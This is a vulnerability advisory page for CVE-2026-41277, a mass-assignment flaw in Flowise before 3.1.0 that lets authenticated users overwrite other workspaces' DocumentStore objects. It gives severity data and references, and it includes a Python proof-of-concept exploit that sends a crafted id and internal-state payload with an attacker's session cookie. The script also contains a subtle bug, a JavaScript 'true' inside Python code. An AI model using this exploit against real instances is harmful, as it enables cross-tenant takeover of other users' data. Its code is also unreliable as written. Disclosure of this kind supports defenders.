CVE-2026-41277

Description

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, a Mass Assignment vulnerability in the DocumentStore creation endpoint allows authenticated users to control the primary key (id) and internal state fields of DocumentStore entities. Because the service uses repository.save() with a client-supplied primary key, the POST create endpoint behaves as an implicit UPSERT operation. This enables overwriting existing DocumentStore objects. In multi-workspace or multi-tenant deployments, this can lead to cross-workspace object takeover and broken object-level authorization (IDOR), allowing an attacker to reassign or modify DocumentStore objects belonging to other workspaces. This vulnerability is fixed in 3.1.0.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:* - VULNERABLE

Flowise < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target URL (Example, replace with actual endpoint)
target_url = "https://target-flowise-instance/api/v1/document-stores"

# Attacker's authenticated session cookie
session_cookie = {
    "connect.sid": "attacker_session_cookie_value"
}

# Malicious payload attempting to overwrite a DocumentStore with ID 'target-store-id'
# The 'id' field allows the attacker to control the primary key
payload = {
    "id": "target-store-id",  # ID of the victim's DocumentStore
    "name": "Hijacked Store",
    "description": "This store has been overwritten by an attacker",
    "internalState": {
        "maliciousConfig": true
    }
}

try:
    response = requests.post(
        target_url,
        headers={"Content-Type": "application/json"},
        cookies=session_cookie,
        data=json.dumps(payload)
    )

    if response.status_code == 200 or response.status_code == 201:
        print("[+] Success! The DocumentStore has likely been overwritten.")
        print("[+] Response:", response.text)
    else:
        print("[-] Failed. Status code:", response.status_code)
        print("[-] Response:", response.text)

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41277
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41277
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41277/
[4] VulDB https://vuldb.com/cve/CVE-2026-41277
[5] https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3prp-9gf7-4rxx
[6] https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3prp-9gf7-4rxx

Raw JSON Data

JSON

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